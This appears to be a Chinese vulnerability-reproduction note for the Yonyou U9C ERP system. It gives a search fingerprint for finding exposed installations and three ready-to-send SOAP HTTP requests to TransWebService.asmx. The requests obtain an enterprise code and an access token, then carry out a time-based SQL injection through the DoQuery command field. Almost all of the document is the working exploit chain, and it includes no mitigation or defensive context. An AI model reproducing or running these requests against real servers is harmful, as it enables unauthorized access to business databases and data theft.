body=“logo-u9.png”

漏洞复现：

第一步：获取code
payload：

POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: 309
SOAPAction: "http://tempuri.org/GetEnterprise"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetEnterprise xmlns="http://tempuri.org/" />
  </soap:Body>
</soap:Envelope>

第二步：获取token
payload：

POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/GetToken"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetToken xmlns="http://tempuri.org/">
      <endId>000</endId>
    </GetToken>
  </soap:Body>
</soap:Envelope>

第三步：SQL注入，token处填入上面获取的
payload：

POST /U9C/CS/Office/TransWebService.asmx HTTP/1.1
Host: 
Content-Type: text/xml; charset=utf-8
Content-Length: 345
SOAPAction: "http://tempuri.org/DoQuery"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <DoQuery xmlns="http://tempuri.org/">
      <token></token>
      <command>select 1;waitfor delay '0:0:1' --</command>
    </DoQuery>
  </soap:Body>
</soap:Envelope>
